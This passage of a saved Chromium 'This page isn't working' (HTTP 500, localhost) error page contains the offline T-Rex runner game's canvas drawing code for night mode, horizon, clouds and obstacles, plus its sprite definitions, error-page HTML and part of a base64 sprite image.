// Fade in / out.
if (activated && (this.opacity < 1 || this.opacity === 0)) {
this.opacity += NightMode.config.FADE_SPEED;
} else if (this.opacity > 0) {
this.opacity -= NightMode.config.FADE_SPEED;
}
// Set moon positioning.
if (this.opacity > 0) {
this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);
// Update stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i].x =
this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
}
}
this.draw();
} else {
this.opacity = 0;
this.placeStars();
}
this.drawStars = true;
},
updateXPos(currentPos, speed) {
if (currentPos < -NightMode.config.WIDTH) {
currentPos = this.containerWidth;
} else {
currentPos -= speed;
}
return currentPos;
},
draw() {
let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
NightMode.config.WIDTH;
let moonSourceHeight = NightMode.config.HEIGHT;
let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
const moonOutputWidth = moonSourceWidth;
let starSize = NightMode.config.STAR_SIZE;
let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;
if (IS_HIDPI) {
moonSourceWidth *= 2;
moonSourceHeight *= 2;
moonSourceX = this.spritePos.x +
(NightMode.phases[this.currentPhase] * 2);
starSize *= 2;
starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
}
this.canvasCtx.save();
this.canvasCtx.globalAlpha = this.opacity;
// Stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.canvasCtx.drawImage(
Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
}
}
// Moon.
this.canvasCtx.drawImage(
Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
NightMode.config.HEIGHT);
this.canvasCtx.globalAlpha = 1;
this.canvasCtx.restore();
},
// Do star placement.
placeStars() {
const segmentSize = Math.round(this.containerWidth /
NightMode.config.NUM_STARS);
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i] = {};
this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);
if (IS_HIDPI) {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.HDPI.STAR.y +
NightMode.config.STAR_SIZE * 2 * i;
} else {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.LDPI.STAR.y +
NightMode.config.STAR_SIZE * i;
}
}
},
reset() {
this.currentPhase = 0;
this.opacity = 0;
this.update(false);
},
};
//******************************************************************************
/**
* Horizon Line.
* Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
* @param {HTMLCanvasElement} canvas
* @param {Object} lineConfig Configuration object.
* @constructor
*/
function HorizonLine(canvas, lineConfig) {
let sourceX = lineConfig.SOURCE_X;
let sourceY = lineConfig.SOURCE_Y;
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
}
this.spritePos = {x: sourceX, y: sourceY};
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.sourceDimensions = {};
this.dimensions = lineConfig;
this.sourceXPos = [this.spritePos.x, this.spritePos.x +
this.dimensions.WIDTH];
this.xPos = [];
this.yPos = 0;
this.bumpThreshold = 0.5;
this.setSourceDimensions(lineConfig);
this.draw();
}
/**
* Horizon line dimensions.
* @enum {number}
*/
HorizonLine.dimensions = {
WIDTH: 600,
HEIGHT: 12,
YPOS: 127,
};
HorizonLine.prototype = {
/**
* Set the source dimensions of the horizon line.
*/
setSourceDimensions(newDimensions) {
for (const dimension in newDimensions) {
if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
if (IS_HIDPI) {
if (dimension !== 'YPOS') {
this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
}
} else {
this.sourceDimensions[dimension] = newDimensions[dimension];
}
this.dimensions[dimension] = newDimensions[dimension];
}
}
this.xPos = [0, newDimensions.WIDTH];
this.yPos = newDimensions.YPOS;
},
/**
* Return the crop x position of a type.
*/
getRandomType() {
return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
},
/**
* Draw the horizon line.
*/
draw() {
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[0], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[1], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
},
/**
* Update the x position of an indivdual piece of the line.
* @param {number} pos Line position.
* @param {number} increment
*/
updateXPos(pos, increment) {
const line1 = pos;
const line2 = pos === 0 ? 1 : 0;
this.xPos[line1] -= increment;
this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;
if (this.xPos[line1] <= -this.dimensions.WIDTH) {
this.xPos[line1] += this.dimensions.WIDTH * 2;
this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
}
},
/**
* Update the horizon line.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
const increment = Math.floor(speed * (FPS / 1000) * deltaTime);
if (this.xPos[0] <= 0) {
this.updateXPos(0, increment);
} else {
this.updateXPos(1, increment);
}
this.draw();
},
/**
* Reset horizon to the starting position.
*/
reset() {
this.xPos[0] = 0;
this.xPos[1] = this.dimensions.WIDTH;
},
};
//******************************************************************************
/**
* Horizon background class.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Sprite positioning.
* @param {Object} dimensions Canvas dimensions.
* @param {number} gapCoefficient
* @constructor
*/
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.config = Horizon.config;
this.dimensions = dimensions;
this.gapCoefficient = gapCoefficient;
this.obstacles = [];
this.obstacleHistory = [];
this.horizonOffsets = [0, 0];
this.cloudFrequency = this.config.CLOUD_FREQUENCY;
this.spritePos = spritePos;
this.nightMode = null;
this.altGameModeActive = false;
// Cloud
this.clouds = [];
this.cloudSpeed = this.config.BG_CLOUD_SPEED;
// Background elements
this.backgroundEls = [];
this.lastEl = null;
this.backgroundSpeed = this.config.BG_CLOUD_SPEED;
// Horizon
this.horizonLine = null;
this.horizonLines = [];
this.init();
}
/**
* Horizon config.
* @enum {number}
*/
Horizon.config = {
BG_CLOUD_SPEED: 0.2,
BUMPY_THRESHOLD: .3,
CLOUD_FREQUENCY: .5,
HORIZON_HEIGHT: 16,
MAX_CLOUDS: 6,
};
Horizon.prototype = {
/**
* Initialise the horizon. Just add the line and a cloud. No obstacles.
*/
init() {
Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
this.addCloud();
// Multiple Horizon lines
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
this.dimensions.WIDTH);
},
/**
* Update obstacle definitions based on the speed of the game.
*/
adjustObstacleSpeed: function() {
for (let i = 0; i < Obstacle.types.length; i++) {
if (Runner.slowDown) {
Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
Obstacle.types[i].minGap *= 1.5;
Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;
// Convert variable y position obstacles to fixed.
if (typeof (Obstacle.types[i].yPos) == 'object') {
Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
}
}
}
},
/**
* Update sprites to correspond to change in sprite sheet.
* @param {number} spritePos
*/
enableAltGameMode: function(spritePos) {
// Clear existing horizon objects.
this.clouds = [];
this.backgroundEls = [];
this.altGameModeActive = true;
this.spritePos = spritePos;
Obstacle.types = Runner.spriteDefinition.OBSTACLES;
this.adjustObstacleSpeed();
Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;
BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;
this.horizonLines = [];
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.reset();
},
/**
* @param {number} deltaTime
* @param {number} currentSpeed
* @param {boolean} updateObstacles Used as an override to prevent
* the obstacles from being updated / added. This happens in the
* ease in section.
* @param {boolean} showNightMode Night mode activated.
*/
update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
this.runningTime += deltaTime;
if (this.altGameModeActive) {
this.updateBackgroundEls(deltaTime, currentSpeed);
}
for (let i = 0; i < this.horizonLines.length; i++) {
this.horizonLines[i].update(deltaTime, currentSpeed);
}
if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
this.nightMode.update(showNightMode);
this.updateClouds(deltaTime, currentSpeed);
}
if (updateObstacles) {
this.updateObstacles(deltaTime, currentSpeed);
}
},
/**
* Update background element positions. Also handles creating new elements.
* @param {number} elSpeed
* @param {Array<Object>} bgElArray
* @param {number} maxBgEl
* @param {Function} bgElAddFunction
* @param {number} frequency
*/
updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
const numElements = bgElArray.length;
if (numElements) {
for (let i = numElements - 1; i >= 0; i--) {
bgElArray[i].update(elSpeed);
}
const lastEl = bgElArray[numElements - 1];
// Check for adding a new element.
if (numElements < maxBgEl &&
(this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
frequency > Math.random()) {
bgElAddFunction();
}
} else {
bgElAddFunction();
}
},
/**
* Update the cloud positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateClouds(deltaTime, speed) {
const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
this.updateBackgroundEl(
elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
this.cloudFrequency);
// Remove expired elements.
this.clouds = this.clouds.filter((obj) => !obj.remove);
},
/**
* Update the background element positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateBackgroundEls(deltaTime, speed) {
this.updateBackgroundEl(
deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
this.addBackgroundEl.bind(this), this.cloudFrequency);
// Remove expired elements.
this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
},
/**
* Update the obstacle positions.
* @param {number} deltaTime
* @param {number} currentSpeed
*/
updateObstacles(deltaTime, currentSpeed) {
const updatedObstacles = this.obstacles.slice(0);
for (let i = 0; i < this.obstacles.length; i++) {
const obstacle = this.obstacles[i];
obstacle.update(deltaTime, currentSpeed);
// Clean up existing obstacles.
if (obstacle.remove) {
updatedObstacles.shift();
}
}
this.obstacles = updatedObstacles;
if (this.obstacles.length > 0) {
const lastObstacle = this.obstacles[this.obstacles.length - 1];
if (lastObstacle && !lastObstacle.followingObstacleCreated &&
lastObstacle.isVisible() &&
(lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
this.dimensions.WIDTH) {
this.addNewObstacle(currentSpeed);
lastObstacle.followingObstacleCreated = true;
}
} else {
// Create new obstacles.
this.addNewObstacle(currentSpeed);
}
},
removeFirstObstacle() {
this.obstacles.shift();
},
/**
* Add a new obstacle.
* @param {number} currentSpeed
*/
addNewObstacle(currentSpeed) {
const obstacleCount =
Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
(Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
this.altGameModeActive) ?
Obstacle.types.length - 1 :
Obstacle.types.length - 2;
const obstacleTypeIndex =
obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
const obstacleType = Obstacle.types[obstacleTypeIndex];
// Check for multiples of the same type of obstacle.
// Also check obstacle is available at current speed.
if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
currentSpeed < obstacleType.minSpeed) {
this.addNewObstacle(currentSpeed);
} else {
const obstacleSpritePos = this.spritePos[obstacleType.type];
this.obstacles.push(new Obstacle(
this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
this.gapCoefficient, currentSpeed, obstacleType.width,
this.altGameModeActive));
this.obstacleHistory.unshift(obstacleType.type);
if (this.obstacleHistory.length > 1) {
this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
}
}
},
/**
* Returns whether the previous two obstacles are the same as the next one.
* Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
* @return {boolean}
*/
duplicateObstacleCheck(nextObstacleType) {
let duplicateCount = 0;
for (let i = 0; i < this.obstacleHistory.length; i++) {
duplicateCount =
this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
}
return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
},
/**
* Reset the horizon layer.
* Remove existing obstacles and reposition the horizon line.
*/
reset() {
this.obstacles = [];
for (let l = 0; l < this.horizonLines.length; l++) {
this.horizonLines[l].reset();
}
this.nightMode.reset();
},
/**
* Update the canvas width and scaling.
* @param {number} width Canvas width.
* @param {number} height Canvas height.
*/
resize(width, height) {
this.canvas.width = width;
this.canvas.height = height;
},
/**
* Add a new cloud to the horizon.
*/
addCloud() {
this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
this.dimensions.WIDTH));
},
/**
* Add a random background element to the horizon.
*/
addBackgroundEl() {
const backgroundElTypes =
Object.keys(Runner.spriteDefinition.BACKGROUND_EL);
if (backgroundElTypes.length > 0) {
let index = getRandomNum(0, backgroundElTypes.length - 1);
let type = backgroundElTypes[index];
// Add variation if available.
while (type == this.lastEl && backgroundElTypes.length > 1) {
index = getRandomNum(0, backgroundElTypes.length - 1);
type = backgroundElTypes[index];
}
this.lastEl = type;
this.backgroundEls.push(new BackgroundEl(
this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
type));
}
},
};
</script>
<script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/* @const
* Add matching sprite definition and config to Runner.spriteDefinitionByType.
*/
const GAME_TYPE = [];
/**
* Obstacle definitions.
* minGap: minimum pixel space between obstacles.
* multipleSpeed: Speed at which multiples are allowed.
* speedOffset: speed faster / slower than the horizon.
* minSpeed: Minimum speed which the obstacle can make an appearance.
*
* @typedef {{
* type: string,
* width: number,
* height: number,
* yPos: number,
* multipleSpeed: number,
* minGap: number,
* minSpeed: number,
* collisionBoxes: Array<CollisionBox>,
* }}
*/
let ObstacleType;
/**
* T-Rex runner sprite definitions.
*/
Runner.spriteDefinitionByType = {
original: {
LDPI: {
BACKGROUND_EL: {x: 86, y: 2},
CACTUS_LARGE: {x: 332, y: 2},
CACTUS_SMALL: {x: 228, y: 2},
OBSTACLE_2: {x: 332, y: 2},
OBSTACLE: {x: 228, y: 2},
CLOUD: {x: 86, y: 2},
HORIZON: {x: 2, y: 54},
MOON: {x: 484, y: 2},
PTERODACTYL: {x: 134, y: 2},
RESTART: {x: 2, y: 68},
TEXT_SPRITE: {x: 655, y: 2},
TREX: {x: 848, y: 2},
STAR: {x: 645, y: 2},
COLLECTABLE: {x: 2, y: 2},
ALT_GAME_END: {x: 121, y: 2},
},
HDPI: {
BACKGROUND_EL: {x: 166, y: 2},
CACTUS_LARGE: {x: 652, y: 2},
CACTUS_SMALL: {x: 446, y: 2},
OBSTACLE_2: {x: 652, y: 2},
OBSTACLE: {x: 446, y: 2},
CLOUD: {x: 166, y: 2},
HORIZON: {x: 2, y: 104},
MOON: {x: 954, y: 2},
PTERODACTYL: {x: 260, y: 2},
RESTART: {x: 2, y: 130},
TEXT_SPRITE: {x: 1294, y: 2},
TREX: {x: 1678, y: 2},
STAR: {x: 1276, y: 2},
COLLECTABLE: {x: 4, y: 4},
ALT_GAME_END: {x: 242, y: 4},
},
MAX_GAP_COEFFICIENT: 1.5,
MAX_OBSTACLE_LENGTH: 3,
HAS_CLOUDS: 1,
BOTTOM_PAD: 10,
TREX: {
WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
COLLISION_BOXES: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
},
/** @type {Array<ObstacleType>} */
OBSTACLES: [
{
type: 'CACTUS_SMALL',
width: 17,
height: 35,
yPos: 105,
multipleSpeed: 4,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 7, 5, 27),
new CollisionBox(4, 0, 6, 34),
new CollisionBox(10, 4, 7, 14),
],
},
{
type: 'CACTUS_LARGE',
width: 25,
height: 50,
yPos: 90,
multipleSpeed: 7,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 12, 7, 38),
new CollisionBox(8, 0, 7, 49),
new CollisionBox(13, 10, 10, 38),
],
},
{
type: 'PTERODACTYL',
width: 46,
height: 40,
yPos: [100, 75, 50], // Variable height.
yPosMobile: [100, 50], // Variable height mobile.
multipleSpeed: 999,
minSpeed: 8.5,
minGap: 150,
collisionBoxes: [
new CollisionBox(15, 15, 16, 5),
new CollisionBox(18, 21, 24, 6),
new CollisionBox(2, 14, 4, 3),
new CollisionBox(6, 10, 4, 7),
new CollisionBox(10, 8, 6, 9),
],
numFrames: 2,
frameRate: 1000 / 6,
speedOffset: .8,
},
],
BACKGROUND_EL: {
'CLOUD': {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
OFFSET: 4,
WIDTH: 46,
X_POS: 1,
Y_POS: 120,
},
},
BACKGROUND_EL_CONFIG: {
MAX_BG_ELS: 1,
MAX_GAP: 400,
MIN_GAP: 100,
POS: 0,
SPEED: 0.5,
Y_POS: 125,
},
LINES: [
{SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
],
},
};
</script>
</head>
<body id="t" class="neterror" style="font-family: "sans", Arial, sans-serif; font-size: 75%" jstcache="0">
<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
<div id="main-content" jstcache="0">
<div class="icon icon-generic" jstcache="0"></div>
<div id="main-message" jstcache="0">
<h1 jstcache="0">
<span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
<a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
</h1>
<p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
<!--The suggestion list and error code are normally presented inline,
in which case error-information-popup-* divs have no effect. When
error-information-popup-container has the use-popup-container class, this
information is provided in a popup instead.-->
<div id="error-information-popup-container" jstcache="0">
<div id="error-information-popup" jstcache="0">
<div id="error-information-popup-box" jstcache="0">
<div id="error-information-popup-content" jstcache="0">
<div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList && suggestionsSummaryList.length)" jstcache="16">
<p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
<ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
<li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
</ul>
</div>
<div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
<p id="error-information-popup-close" jstcache="0">
<a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
</p>
</div>
</div>
</div>
</div>
<div id="download-links-wrapper" class="hidden" jstcache="0">
<div id="download-link-wrapper" jstcache="0">
<a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</a>
</div>
<div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
<div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
</div>
</div>
</div>
<div id="save-page-for-later-button" class="hidden" jstcache="0">
<a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
</a>
</div>
<div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
</div>
<div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
<div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
<div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
</div>
<div jstcache="0">
<div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
</div>
<div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
</div>
</div>
</div>
<div id="offline-content-suggestions" jstcache="0"></div>
<div id="offline-content-list-action" jstcache="0">
<a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
</a>
</div>
</div>
</div>
</div>
<div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
<div id="control-buttons" jstcache="0">
<button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
<button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</button>
</div>
<button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails && suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
</div>
<div id="details" class="hidden" jstcache="0">
<div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
<div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
<div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
</div>
</div>
</div>
<div id="sub-frame-error" jstcache="0">
<!-- Show details when hovering over the icon, in case the details are
hidden because they're too large. -->
<div class="icon" jstcache="0"></div>
<div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
</div>
<div id="offline-resources" jstcache="0">
<img id="offline-resources-1x" src="data:image/png;base64,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